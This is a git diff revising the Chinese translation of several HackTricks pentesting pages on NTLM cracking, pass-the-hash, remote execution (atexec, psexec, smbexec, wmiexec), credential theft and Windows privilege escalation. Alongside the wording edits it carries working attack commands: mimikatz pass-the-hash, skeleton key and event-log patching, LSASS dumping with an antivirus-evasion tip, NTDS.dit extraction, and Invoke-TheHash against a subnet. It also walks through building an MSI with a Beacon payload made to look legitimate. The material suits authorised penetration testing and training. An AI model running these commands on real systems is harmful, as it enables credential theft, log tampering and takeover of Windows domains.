+NAN;_N注意,对于此技术,认证必须使用 NTLMv1 进行(NTLMv2 无效)。_
-请记住,打印机在认证期间将使用计算机帐户,而计算机帐户使用 **长且随机的密码**,您 **可能无法使用常见的字典破解**。但是 **NTLMv1** 认证 **使用 DES** ([更多信息在这里](./#ntlmv1-challenge)),因此使用一些专门用于破解 DES 的服务,您将能够破解它(例如,您可以使用 [https://crack.sh/](https://crack.sh) 或 [https://ntlmv1.com/](https://ntlmv1.com))。
+请记住,打印机在认证期间将使用计算机帐户,而计算机帐户使用 **长且随机的密码**,您 **可能无法使用常见的字典破解**。但是 **NTLMv1** 认证 **使用 DES** ([更多信息在这里](./#ntlmv1-challenge)),因此使用一些专门用于破解 DES 的服务,您将能够破解它(例如,您可以使用 [https://crack.sh/](https://crack.sh) 或 [https://ntlmv1.com/](https://ntlmv1.com))。
### 使用 hashcat 的 NTLMv1 攻击
-NTLMv1 也可以通过 NTLMv1 多工具 [https://github.com/evilmog/ntlmv1-multi](https://github.com/evilmog/ntlmv1-multi) 破解,该工具以可以通过 hashcat 破解的方式格式化 NTLMv1 消息。
+NTLMv1 也可以通过 NTLMv1 多工具 [https://github.com/evilmog/ntlmv1-multi](https://github.com/evilmog/ntlmv1-multi) 破解,该工具以可以通过 hashcat 破解的方法格式化 NTLMv1 消息。
命令
```bash
@@ -157,18 +157,18 @@ NTHASH=b4b9b02e6f09a9bd760f388b6700586c
**挑战长度为 8 字节**,并且**发送 2 个响应**:一个是**24 字节**长,另一个的长度是**可变**的。
-**第一个响应**是通过使用**HMAC_MD5**对由**客户端和域**组成的**字符串**进行加密,并使用**NT hash**的**MD4 哈希**作为**密钥**来创建的。然后,**结果**将作为**密钥**用于使用**HMAC_MD5**对**挑战**进行加密。为此,将**添加一个 8 字节的客户端挑战**。总计:24 B。
+**第一个响应**是通过使用**HMAC_MD5**对由**客户端和域**组成的**字符串**进行加密,并使用**NT hash**的**MD4 哈希**作为**密钥**来创建的。然后,**结果**将用作**密钥**,通过**HMAC_MD5**对**挑战**进行加密。为此,将**添加一个 8 字节的客户端挑战**。总计:24 B。
**第二个响应**是使用**多个值**(一个新的客户端挑战,一个**时间戳**以避免**重放攻击**...)创建的。
-如果您有一个**捕获了成功身份验证过程的 pcap**,您可以按照本指南获取域、用户名、挑战和响应,并尝试破解密码:[https://research.801labs.org/cracking-an-ntlmv2-hash/](https://www.801labs.org/research-portal/post/cracking-an-ntlmv2-hash/)
+如果你有一个**捕获了成功身份验证过程的 pcap**,你可以按照本指南获取域、用户名、挑战和响应,并尝试破解密码:[https://research.801labs.org/cracking-an-ntlmv2-hash/](https://www.801labs.org/research-portal/post/cracking-an-ntlmv2-hash/)
## Pass-the-Hash
-**一旦您拥有受害者的哈希值**,您可以使用它来**冒充**受害者。\
-您需要使用一个**工具**,该工具将**使用**该**哈希**执行**NTLM 身份验证**,**或者**您可以创建一个新的**sessionlogon**并将该**哈希**注入到**LSASS**中,这样当任何**NTLM 身份验证被执行**时,该**哈希将被使用**。最后一个选项就是 mimikatz 所做的。
+**一旦你拥有受害者的哈希值**,你可以用它来**冒充**受害者。\
+你需要使用一个**工具**,该工具将**使用**该**哈希**执行**NTLM 身份验证**,**或者**你可以创建一个新的**sessionlogon**并将该**哈希**注入到**LSASS**中,这样当任何**NTLM 身份验证被执行**时,该**哈希将被使用**。最后一个选项就是 mimikatz 所做的。
-**请记住,您也可以使用计算机帐户执行 Pass-the-Hash 攻击。**
+**请记住,你也可以使用计算机帐户执行 Pass-the-Hash 攻击。**
### **Mimikatz**
@@ -180,7 +180,7 @@ Invoke-Mimikatz -Command '"sekurlsa::pth /user:username /domain:domain.tld /ntlm
### 从 Linux 进行 Pass-the-Hash
-您可以使用 Linux 从 Windows 机器上获得代码执行。\
+您可以使用 Linux 从 Windows 机器中获得代码执行。\
[**访问此处了解如何操作。**](https://github.com/carlospolop/hacktricks/blob/master/windows/ntlm/broken-reference/README.md)
### Impacket Windows 编译工具
@@ -214,7 +214,7 @@ Invoke-SMBEnum -Domain dollarcorp.moneycorp.local -Username svcadmin -Hash b38ff
```
#### Invoke-TheHash
-这个功能是**所有其他功能的混合**。您可以传递**多个主机**,**排除**某些主机,并**选择**您想要使用的**选项**(_SMBExec, WMIExec, SMBClient, SMBEnum_)。如果您选择**任何**的**SMBExec**和**WMIExec**但您**没有**提供任何_**Command**_参数,它将仅仅**检查**您是否拥有**足够的权限**。
+这个功能是**所有其他功能的混合**。您可以传递**多个主机**,**排除**某些主机,并**选择**您想要使用的**选项**(_SMBExec, WMIExec, SMBClient, SMBEnum_)。如果您选择**任何**的**SMBExec**和**WMIExec**但**不**提供任何_**Command**_参数,它将仅**检查**您是否拥有**足够的权限**。
```
Invoke-TheHash -Type WMIExec -Target 192.168.100.0/24 -TargetExclude 192.168.100.50 -Username Administ -ty h F6F38B793DB6A94BA04A52F1D3EE92F0
```
@@ -240,7 +240,7 @@ wce.exe -s :::
## NTLM中继和Responder
-**在这里阅读有关如何执行这些攻击的更详细指南:**
+**在这里阅读有关如何执行这些攻击的详细指南:**
{{#ref}}
../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md
diff --git a/src/windows-hardening/ntlm/atexec.md b/src/windows-hardening/ntlm/atexec.md
index 344c7bfeb..0c18de4cc 100644
--- a/src/windows-hardening/ntlm/atexec.md
+++ b/src/windows-hardening/ntlm/atexec.md
@@ -4,7 +4,7 @@
## 它是如何工作的
-At 允许在你知道用户名/(密码/哈希)的主机上调度任务。因此,你可以用它在其他主机上执行命令并获取输出。
+At 允许在你知道用户名/(密码/哈希)的主机上调度任务。因此,你可以使用它在其他主机上执行命令并获取输出。
```
At \\victim 11:00:00PM shutdown -r
```
diff --git a/src/windows-hardening/ntlm/places-to-steal-ntlm-creds.md b/src/windows-hardening/ntlm/places-to-steal-ntlm-creds.md
index 248aa3cef..8b4f20c34 100644
--- a/src/windows-hardening/ntlm/places-to-steal-ntlm-creds.md
+++ b/src/windows-hardening/ntlm/places-to-steal-ntlm-creds.md
@@ -1,7 +1,7 @@
-# Places to steal NTLM creds
+# 偷取 NTLM 凭证的地方
{{#include ../../banners/hacktricks-training.md}}
-**查看所有来自 [https://osandamalith.com/2017/03/24/places-of-interest-in-stealing-netntlm-hashes/](https://osandamalith.com/2017/03/24/places-of-interest-in-stealing-netntlm-hashes/) 的精彩想法**
+**查看 [https://osandamalith.com/2017/03/24/places-of-interest-in-stealing-netntlm-hashes/](https://osandamalith.com/2017/03/24/places-of-interest-in-stealing-netntlm-hashes/) 上的所有精彩想法**
{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/windows-hardening/ntlm/psexec-and-winexec.md b/src/windows-hardening/ntlm/psexec-and-winexec.md
index 11334cff3..a29ec2a2e 100644
--- a/src/windows-hardening/ntlm/psexec-and-winexec.md
+++ b/src/windows-hardening/ntlm/psexec-and-winexec.md
@@ -4,12 +4,12 @@
## 它们是如何工作的
-该过程在以下步骤中概述,说明如何通过 SMB 操纵服务二进制文件以实现对目标机器的远程执行:
+该过程在以下步骤中概述,说明如何操纵服务二进制文件以通过 SMB 在目标机器上实现远程执行:
1. **通过 SMB 复制服务二进制文件到 ADMIN$ 共享**。
2. **在远程机器上创建服务**,指向该二进制文件。
3. 服务被 **远程启动**。
-4. 退出时,服务被 **停止,二进制文件被删除**。
+4. 退出时,服务被 **停止,并删除二进制文件**。
### **手动执行 PsExec 的过程**
diff --git a/src/windows-hardening/ntlm/smbexec.md b/src/windows-hardening/ntlm/smbexec.md
index d3b8d7e4e..4616c8763 100644
--- a/src/windows-hardening/ntlm/smbexec.md
+++ b/src/windows-hardening/ntlm/smbexec.md
@@ -8,9 +8,9 @@
### 关于 **SMBExec** 的关键点
-- 它通过在目标机器上创建一个临时服务(例如,“BTOBTO”)来执行命令,通过 cmd.exe (%COMSPEC%),而不放置任何二进制文件。
+- 它通过在目标机器上创建一个临时服务(例如,“BTOBTO”)来通过 cmd.exe (%COMSPEC%) 执行命令,而不放置任何二进制文件。
- 尽管采用隐蔽的方法,但它确实为每个执行的命令生成事件日志,提供了一种非交互式的“shell”。
-- 使用 **Smbexec** 连接的命令如下所示:
+- 使用 **Smbexec** 连接的命令如下:
```bash
smbexec.py WORKGROUP/genericuser:genericpassword@10.10.10.10
```
diff --git a/src/windows-hardening/ntlm/wmiexec.md b/src/windows-hardening/ntlm/wmiexec.md
index ff2bd113c..82b227b36 100644
--- a/src/windows-hardening/ntlm/wmiexec.md
+++ b/src/windows-hardening/ntlm/wmiexec.md
@@ -24,7 +24,7 @@ Get-WmiObject -Class "__Namespace" -Namespace "Root" -List -Recurse 2> $null | s
# Listing of namespaces within "root\cimv2"
Get-WmiObject -Class "__Namespace" -Namespace "root\cimv2" -List -Recurse 2> $null | select __Namespace | sort __Namespace
```
-在命名空间内可以使用以下命令列出类:
+在命名空间内可以使用以下方式列出类:
```bash
gwmwi -List -Recurse # Defaults to "root\cimv2" if no namespace specified
gwmi -Namespace "root/microsoft" -List -Recurse
@@ -89,13 +89,13 @@ wmic sysaccount list /format:list
### **手动远程 WMI 查询**
-可以通过特定的 WMI 查询隐秘地识别远程计算机上的本地管理员和登录用户。 `wmic` 还支持从文本文件读取,以便同时在多个节点上执行命令。
+可以通过特定的 WMI 查询隐秘地识别远程计算机上的本地管理员和登录用户。`wmic` 还支持从文本文件读取,以便同时在多个节点上执行命令。
-要通过 WMI 远程执行进程,例如部署 Empire 代理,使用以下命令结构,成功执行的返回值为 "0":
+要通过 WMI 远程执行一个进程,例如部署 Empire 代理,使用以下命令结构,成功执行的返回值为 "0":
```bash
wmic /node:hostname /user:user path win32_process call create "empire launcher string here"
```
-这个过程展示了WMI的远程执行和系统枚举能力,突显了它在系统管理和渗透测试中的实用性。
+这个过程展示了WMI远程执行和系统枚举的能力,突显了它在系统管理和渗透测试中的实用性。
## 参考文献
diff --git a/src/windows-hardening/stealing-credentials/README.md b/src/windows-hardening/stealing-credentials/README.md
index 91a357f77..7c2fa5ca8 100644
--- a/src/windows-hardening/stealing-credentials/README.md
+++ b/src/windows-hardening/stealing-credentials/README.md
@@ -28,7 +28,7 @@ Invoke-Mimikatz -Command '"privilege::debug" "token::elevate" "sekurlsa::logonpa
## 使用 Meterpreter 的凭据
-使用我创建的 [**Credentials Plugin**](https://github.com/carlospolop/MSF-Credentials) **来** **搜索受害者内部的密码和哈希。**
+使用我创建的 [**Credentials Plugin**](https://github.com/carlospolop/MSF-Credentials) **来** **在受害者内部搜索密码和哈希。**
```bash
#Credentials from SAM
post/windows/gather/smart_hashdump
@@ -65,9 +65,9 @@ mimikatz # sekurlsa::minidump lsass.dmp
//Extract credentials
mimikatz # sekurlsa::logonPasswords
```
-此过程是通过 [SprayKatz](https://github.com/aas-n/spraykatz) 自动完成的: `./spraykatz.py -u H4x0r -p L0c4L4dm1n -t 192.168.1.0/24`
+此过程通过 [SprayKatz](https://github.com/aas-n/spraykatz) 自动完成: `./spraykatz.py -u H4x0r -p L0c4L4dm1n -t 192.168.1.0/24`
-**注意**:某些 **AV** 可能会将 **procdump.exe 用于转储 lsass.exe** 视为 **恶意**,这是因为它们正在 **检测** 字符串 **"procdump.exe" 和 "lsass.exe"**。因此,将 **lsass.exe 的 PID** 作为参数传递给 procdump **而不是** **lsass.exe 的名称** 更加 **隐蔽**。
+**注意**:某些 **AV** 可能会将 **procdump.exe 用于转储 lsass.exe** 视为 **恶意**,这是因为它们正在 **检测** 字符串 **"procdump.exe" 和 "lsass.exe"**。因此,将 lsass.exe 的 **PID** 作为参数传递给 procdump **而不是** lsass.exe 的 **名称** 更加 **隐蔽**。
### 使用 **comsvcs.dll** 转储 lsass
@@ -91,7 +91,7 @@ rundll32.exe C:\Windows\System32\comsvcs.dll MiniDump lsass.dmp full
### 使用 procdump 转储 lsass
-[Procdump](https://docs.microsoft.com/en-us/sysinternals/downloads/procdump) 是一个微软签名的二进制文件,是 [sysinternals](https://docs.microsoft.com/en-us/sysinternals/) 套件的一部分。
+[Procdump](https://docs.microsoft.com/en-us/sysinternals/downloads/procdump) 是一个 Microsoft 签名的二进制文件,是 [sysinternals](https://docs.microsoft.com/en-us/sysinternals/) 套件的一部分。
```
Get-Process -Name LSASS
.\procdump.exe -ma 608 lsass.dmp
@@ -100,7 +100,7 @@ Get-Process -Name LSASS
[**PPLBlade**](https://github.com/tastypepperoni/PPLBlade) 是一个受保护进程转储工具,支持对内存转储进行混淆,并在不将其写入磁盘的情况下将其传输到远程工作站。
-**主要功能**:
+**关键功能**:
1. 绕过 PPL 保护
2. 混淆内存转储文件以规避 Defender 基于签名的检测机制
@@ -194,7 +194,7 @@ Invoke-NinjaCopy.ps1 -Path "C:\Windows\System32\config\sam" -LocalDestination "c
更多信息请参见:[http://blogs.chrisse.se/2012/02/11/how-the-active-directory-data-store-really-works-inside-ntds-dit-part-1/](http://blogs.chrisse.se/2012/02/11/how-the-active-directory-data-store-really-works-inside-ntds-dit-part-1/)
-Windows 使用 _Ntdsa.dll_ 与该文件交互,并由 _lsass.exe_ 使用。然后,**NTDS.dit** 文件的一部分可能位于 **`lsass`** 内存中(您可以找到最近访问的数据,可能是由于使用 **缓存** 提高了性能)。
+Windows 使用 _Ntdsa.dll_ 与该文件进行交互,并由 _lsass.exe_ 使用。然后,**NTDS.dit** 文件的一部分可能位于 **`lsass`** 内存中(您可以找到最近访问的数据,可能是由于使用 **缓存** 提高性能)。
#### 解密 NTDS.dit 内的哈希
@@ -212,7 +212,7 @@ Windows 使用 _Ntdsa.dll_ 与该文件交互,并由 _lsass.exe_ 使用。然
```bash
ntdsutil "ac i ntds" "ifm" "create full c:\copy-ntds" quit quit
```
-您还可以使用 [**卷影副本**](./#stealing-sam-and-system) 技巧来复制 **ntds.dit** 文件。请记住,您还需要 **SYSTEM 文件** 的副本(同样,您可以 [**从注册表转储或使用卷影副本**](./#stealing-sam-and-system) 技巧)。
+您还可以使用 [**卷影复制**](./#stealing-sam-and-system) 技巧来复制 **ntds.dit** 文件。请记住,您还需要 **SYSTEM 文件** 的副本(同样,您可以 [**从注册表转储或使用卷影复制**](./#stealing-sam-and-system) 技巧)。
### **从 NTDS.dit 中提取哈希**
@@ -238,7 +238,7 @@ ntdsdotsqlite ntds.dit -o ntds.sqlite --system SYSTEM.hive
## Lazagne
-从 [这里](https://github.com/AlessandroZ/LaZagne/releases) 下载二进制文件。您可以使用此二进制文件从多个软件中提取凭据。
+从 [here](https://github.com/AlessandroZ/LaZagne/releases) 下载二进制文件。您可以使用此二进制文件从多个软件中提取凭据。
```
lazagne.exe all
```
diff --git a/src/windows-hardening/stealing-credentials/credentials-mimikatz.md b/src/windows-hardening/stealing-credentials/credentials-mimikatz.md
index 124625c40..a7b8c4db0 100644
--- a/src/windows-hardening/stealing-credentials/credentials-mimikatz.md
+++ b/src/windows-hardening/stealing-credentials/credentials-mimikatz.md
@@ -2,9 +2,9 @@
{{#include ../../banners/hacktricks-training.md}}
-**本页面基于 [adsecurity.org](https://adsecurity.org/?page_id=1821) 的内容**。请查看原文以获取更多信息!
+**本页面基于 [adsecurity.org](https://adsecurity.org/?page_id=1821) 的内容**。查看原文以获取更多信息!
-## 内存中的 LM 和明文
+## LM 和内存中的明文
从 Windows 8.1 和 Windows Server 2012 R2 开始,实施了重要措施以防止凭据盗窃:
@@ -14,7 +14,7 @@
1. 修改注册表 _HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa_,将 `RunAsPPL` 设置为 `dword:00000001`。
2. 实施一个强制此注册表更改的组策略对象(GPO),以在受管理设备上执行。
-尽管有这些保护措施,像 Mimikatz 这样的工具仍然可以使用特定驱动程序绕过 LSA 保护,尽管此类操作可能会被记录在事件日志中。
+尽管有这些保护措施,像 Mimikatz 这样的工具仍然可以使用特定驱动程序绕过 LSA 保护,尽管此类行为可能会被记录在事件日志中。
### 反制 SeDebugPrivilege 移除
@@ -45,7 +45,7 @@ sc start TrustedInstaller
- 示例:`mimikatz "privilege::debug" "event::drop" exit`
- `privilege::debug` 命令确保 Mimikatz 以必要的权限操作,以修改系统服务。
-- `event::drop` 命令随后修补事件日志服务。
+- 然后,`event::drop` 命令修补事件日志服务。
### Kerberos 票证攻击
@@ -72,7 +72,7 @@ Silver Tickets 授予对特定服务的访问权限。关键命令和参数:
- 命令:类似于 Golden Ticket,但针对特定服务。
- 参数:
-- `/service`: 目标服务(例如,cifs,http)。
+- `/service`:要针对的服务(例如,cifs,http)。
- 其他参数类似于 Golden Ticket。
示例:
@@ -114,7 +114,7 @@ mimikatz "kerberos::golden /domain:child.example.com /sid:S-1-5-21-123456789-123
- **清除票证**:
- 命令:`kerberos::purge`
- 清除会话中的所有 Kerberos 票证。
-- 在使用票证操作命令之前很有用,以避免冲突。
+- 在使用票证操作命令之前清除,以避免冲突。
### Active Directory 篡改
@@ -152,7 +152,7 @@ mimikatz "kerberos::golden /domain:child.example.com /sid:S-1-5-21-123456789-123
### 杂项
-- **MISC::Skeleton**:在 DC 上向 LSASS 注入后门。
+- **MISC::Skeleton**:在 DC 的 LSASS 中注入后门。
- `mimikatz "privilege::debug" "misc::skeleton" exit`
### 权限提升
diff --git a/src/windows-hardening/stealing-credentials/credentials-protections.md b/src/windows-hardening/stealing-credentials/credentials-protections.md
index 9f76e8b61..f5a17fbdb 100644
--- a/src/windows-hardening/stealing-credentials/credentials-protections.md
+++ b/src/windows-hardening/stealing-credentials/credentials-protections.md
@@ -16,7 +16,7 @@ reg query HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v Use
```
## LSA 保护
-从 **Windows 8.1** 开始,Microsoft 增强了 LSA 的安全性,以 **阻止不受信任进程的未经授权的内存读取或代码注入**。这一增强阻碍了像 `mimikatz.exe sekurlsa:logonpasswords` 这样的命令的典型功能。要 **启用这种增强保护**,应将 _**HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA**_ 中的 _**RunAsPPL**_ 值调整为 1:
+从 **Windows 8.1** 开始,Microsoft 增强了 LSA 的安全性,以 **阻止不受信任进程的未经授权的内存读取或代码注入**。此增强功能妨碍了像 `mimikatz.exe sekurlsa:logonpasswords` 这样的命令的典型功能。要 **启用此增强保护**,应将 _**HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA**_ 中的 _**RunAsPPL**_ 值调整为 1:
```
reg query HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA /v RunAsPPL
```
@@ -30,7 +30,7 @@ reg query HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA /v RunAsPPL
**凭据保护**是 **Windows 10(企业版和教育版)** 独有的功能,通过 **虚拟安全模式(VSM)** 和 **基于虚拟化的安全性(VBS)** 增强机器凭据的安全性。它利用 CPU 虚拟化扩展将关键进程隔离在受保护的内存空间中,远离主操作系统的触及。这种隔离确保即使是内核也无法访问 VSM 中的内存,有效保护凭据免受 **pass-the-hash** 等攻击。**本地安全机构(LSA)** 在这个安全环境中作为信任组件运行,而主操作系统中的 **LSASS** 进程仅充当与 VSM 的 LSA 的通信者。
-默认情况下,**凭据保护** 并未激活,需要在组织内手动激活。它对于增强抵御像 **Mimikatz** 这样的工具的安全性至关重要,这些工具在提取凭据的能力上受到限制。然而,仍然可以通过添加自定义 **安全支持提供程序(SSP)** 来利用漏洞,在登录尝试期间捕获明文凭据。
+默认情况下,**凭据保护** 并未激活,需要在组织内手动激活。它对于增强抵御像 **Mimikatz** 这样的工具的安全性至关重要,这些工具在提取凭据时受到限制。然而,仍然可以通过添加自定义 **安全支持提供程序(SSP)** 来利用漏洞,在登录尝试期间捕获明文凭据。
要验证 **凭据保护** 的激活状态,可以检查注册表项 _**LsaCfgFlags**_,位于 _**HKLM\System\CurrentControlSet\Control\LSA**_ 下。值为 "**1**" 表示激活并带有 **UEFI 锁**,"**2**" 表示没有锁,"**0**" 表示未启用。此注册表检查虽然是一个强有力的指示,但并不是启用凭据保护的唯一步骤。有关启用此功能的详细指导和 PowerShell 脚本可在线获取。
```powershell
@@ -64,7 +64,7 @@ Windows 通过 **本地安全机构 (LSA)** 保护 **域凭据**,支持使用
```bash
reg query "HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINLOGON" /v CACHEDLOGONSCOUNT
```
-访问这些缓存凭据的权限受到严格控制,只有 **SYSTEM** 账户拥有查看它们所需的权限。需要访问此信息的管理员必须以 SYSTEM 用户权限进行操作。凭据存储在:`HKEY_LOCAL_MACHINE\SECURITY\Cache`
+访问这些缓存凭据的权限受到严格控制,只有 **SYSTEM** 账户拥有查看它们所需的权限。需要访问此信息的管理员必须以 SYSTEM 用户权限进行操作。凭据存储在: `HKEY_LOCAL_MACHINE\SECURITY\Cache`
**Mimikatz** 可以通过命令 `lsadump::cache` 提取这些缓存凭据。
@@ -77,7 +77,7 @@ reg query "HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINLO
- **凭据委派 (CredSSP)**:即使 **允许委派默认凭据** 的组策略设置已启用,受保护用户的明文凭据也不会被缓存。
- **Windows Digest**:从 **Windows 8.1 和 Windows Server 2012 R2** 开始,系统将不会缓存受保护用户的明文凭据,无论 Windows Digest 状态如何。
- **NTLM**:系统不会缓存受保护用户的明文凭据或 NT 单向函数 (NTOWF)。
-- **Kerberos**:对于受保护用户,Kerberos 认证不会生成 **DES** 或 **RC4 密钥**,也不会缓存明文凭据或超出初始票证授予票证 (TGT) 获取的长期密钥。
+- **Kerberos**:对于受保护用户,Kerberos 认证不会生成 **DES** 或 **RC4 密钥**,也不会缓存明文凭据或超出初始票证授予票 (TGT) 获取的长期密钥。
- **离线登录**:受保护用户在登录或解锁时不会创建缓存验证器,这意味着这些账户不支持离线登录。
这些保护措施在 **受保护用户组** 的成员登录设备时立即激活。这确保了关键安全措施到位,以防止各种凭据泄露方法。
diff --git a/src/windows-hardening/windows-local-privilege-escalation/README.md b/src/windows-hardening/windows-local-privilege-escalation/README.md
index e1d7ab1da..56b1c8da3 100644
--- a/src/windows-hardening/windows-local-privilege-escalation/README.md
+++ b/src/windows-hardening/windows-local-privilege-escalation/README.md
@@ -79,7 +79,7 @@ Get-Hotfix -description "Security update" #List only "Security Update" patches
### 环境
-环境变量中保存了任何凭据/敏感信息吗?
+环境变量中是否保存了任何凭据/敏感信息?
```bash
set
dir env:
@@ -121,7 +121,7 @@ reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging
reg query HKCU\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging
reg query HKLM\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging
```
-要查看 PowersShell 日志中的最后 15 个事件,可以执行:
+要查看PowersShell日志中的最后15个事件,可以执行:
```bash
Get-WinEvent -LogName "windows Powershell" | select -First 15 | Out-GridView
```
@@ -178,7 +178,7 @@ WUServer REG_SZ http://xxxx-updxx.corp.internal.com:8535
[**在这里阅读完整报告**](https://www.gosecure.net/blog/2020/09/08/wsus-attacks-part-2-cve-2020-1013-a-windows-10-local-privilege-escalation-1-day/)。\
基本上,这是这个漏洞利用的缺陷:
-> 如果我们有权修改我们的本地用户代理,并且 Windows 更新使用 Internet Explorer 设置中配置的代理,那么我们就有权在本地运行 [PyWSUS](https://github.com/GoSecure/pywsus) 来拦截我们自己的流量,并以提升的用户身份在我们的资产上运行代码。
+> 如果我们有权修改我们的本地用户代理,并且 Windows 更新使用 Internet Explorer 设置中配置的代理,那么我们就有权在本地运行 [PyWSUS](https://github.com/GoSecure/pywsus) 来拦截我们自己的流量,并以提升的用户身份运行代码。
>
> 此外,由于 WSUS 服务使用当前用户的设置,它还将使用其证书存储。如果我们为 WSUS 主机名生成自签名证书并将此证书添加到当前用户的证书存储中,我们将能够拦截 HTTP 和 HTTPS WSUS 流量。WSUS 不使用 HSTS 类似机制在证书上实现首次使用信任类型的验证。如果所呈现的证书被用户信任并具有正确的主机名,它将被服务接受。
@@ -194,7 +194,7 @@ WUServer REG_SZ http://xxxx-updxx.corp.internal.com:8535
## AlwaysInstallElevated
-**如果** 这两个注册表 **启用**(值为 **0x1**),则任何权限的用户都可以 **安装**(执行) `*.msi` 文件作为 NT AUTHORITY\\**SYSTEM**。
+**如果** 这 2 个注册表 **启用**(值为 **0x1**),则任何权限的用户都可以 **安装**(执行) `*.msi` 文件作为 NT AUTHORITY\\**SYSTEM**。
```bash
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
@@ -232,10 +232,10 @@ create-msi-with-wix.md
- **使用** Cobalt Strike 或 Metasploit 生成一个 **新的 Windows EXE TCP 负载** 在 `C:\privesc\beacon.exe`
- 打开 **Visual Studio**,选择 **创建新项目**,在搜索框中输入 "installer"。选择 **Setup Wizard** 项目并点击 **下一步**。
-- 给项目命名,例如 **AlwaysPrivesc**,使用 **`C:\privesc`** 作为位置,选择 **将解决方案和项目放在同一目录**,然后点击 **创建**。
-- 一直点击 **下一步**,直到到达第 3 步中的 4 步(选择要包含的文件)。点击 **添加** 并选择您刚生成的 Beacon 负载。然后点击 **完成**。
+- 给项目命名,例如 **AlwaysPrivesc**,使用 **`C:\privesc`** 作为位置,选择 **将解决方案和项目放在同一目录中**,然后点击 **创建**。
+- 一直点击 **下一步**,直到到达第 3 步(选择要包含的文件)。点击 **添加** 并选择您刚生成的 Beacon 负载。然后点击 **完成**。
- 在 **解决方案资源管理器** 中突出显示 **AlwaysPrivesc** 项目,在 **属性** 中,将 **TargetPlatform** 从 **x86** 更改为 **x64**。
-- 还有其他属性可以更改,例如 **作者** 和 **制造商**,这可以使安装的应用程序看起来更合法。
+- 还有其他属性可以更改,例如 **作者** 和 **制造商**,这可以使安装的应用看起来更合法。
- 右键单击项目并选择 **查看 > 自定义操作**。
- 右键单击 **安装** 并选择 **添加自定义操作**。
- 双击 **应用程序文件夹**,选择您的 **beacon.exe** 文件并点击 **确定**。这将确保在运行安装程序时立即执行 beacon 负载。
@@ -267,7 +267,7 @@ reg query HKLM\Software\Policies\Microsoft\Windows\EventLog\EventForwarding\Subs
```
### LAPS
-**LAPS** 旨在 **管理本地管理员密码**,确保每个密码在加入域的计算机上都是 **唯一、随机且定期更新** 的。这些密码安全地存储在 Active Directory 中,只有通过 ACL 授予足够权限的用户才能访问,从而在获得授权的情况下查看本地管理员密码。
+**LAPS** 旨在 **管理本地管理员密码**,确保每个密码都是 **唯一的、随机的,并定期更新** 在加入域的计算机上。这些密码安全地存储在 Active Directory 中,只有通过 ACL 授予足够权限的用户才能访问,从而允许他们在获得授权的情况下查看本地管理员密码。
{{#ref}}
../active-directory-methodology/laps.md
@@ -275,7 +275,7 @@ reg query HKLM\Software\Policies\Microsoft\Windows\EventLog\EventForwarding\Subs
### WDigest
-如果启用,**明文密码存储在 LSASS**(本地安全授权子系统服务)中。\
+如果启用,**明文密码存储在 LSASS**(本地安全授权子系统服务)。\
[**关于 WDigest 的更多信息请查看此页面**](../stealing-credentials/credentials-protections.md#wdigest)。
```bash
reg query 'HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest' /v UseLogonCredential
@@ -287,15 +287,15 @@ reg query 'HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest' /v U
```bash
reg query 'HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA' /v RunAsPPL
```
-### Credentials Guard
+### 凭据保护
-**Credential Guard** 于 **Windows 10** 中引入。其目的是保护存储在设备上的凭据,防止诸如传递哈希攻击等威胁。| [**有关 Credentials Guard 的更多信息。**](../stealing-credentials/credentials-protections.md#credential-guard)
+**Credential Guard** 于 **Windows 10** 中引入。其目的是保护存储在设备上的凭据,防止诸如哈希传递攻击等威胁。| [**有关凭据保护的更多信息。**](../stealing-credentials/credentials-protections.md#credential-guard)
```bash
reg query 'HKLM\System\CurrentControlSet\Control\LSA' /v LsaCfgFlags
```
### 缓存凭据
-**域凭据**由**本地安全机构**(LSA)进行验证,并被操作系统组件使用。当用户的登录数据通过注册的安全包进行验证时,通常会为该用户建立域凭据。\
+**域凭据**由**本地安全机构**(LSA)进行认证,并被操作系统组件使用。当用户的登录数据通过注册的安全包进行认证时,通常会为该用户建立域凭据。\
[**有关缓存凭据的更多信息**](../stealing-credentials/credentials-protections.md#cached-credentials)。
```bash
reg query "HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINLOGON" /v CACHEDLOGONSCOUNT
@@ -321,16 +321,16 @@ Get-LocalGroupMember Administrators | ft Name, PrincipalSource
```
### 特权组
-如果您**属于某个特权组,您可能能够提升权限**。在这里了解特权组及其滥用方式以提升权限:
+如果你**属于某个特权组,你可能能够提升权限**。在这里了解特权组以及如何滥用它们以提升权限:
{{#ref}}
../active-directory-methodology/privileged-groups-and-token-privileges.md
{{#endref}}
-### 令牌操控
+### 令牌操作
**了解更多**关于**令牌**的信息,请访问此页面:[**Windows Tokens**](../authentication-credentials-uac-and-efs/#access-tokens)。\
-查看以下页面以**了解有趣的令牌**及其滥用方式:
+查看以下页面以**了解有趣的令牌**及其滥用方法:
{{#ref}}
privilege-escalation-abusing-tokens.md
@@ -359,7 +359,7 @@ powershell -command "Get-Clipboard"
### 文件和文件夹权限
首先,列出进程 **检查进程命令行中的密码**。\
-检查您是否可以 **覆盖某个正在运行的二进制文件**,或者您是否对二进制文件夹具有写入权限,以利用可能的 [**DLL Hijacking attacks**](dll-hijacking/):
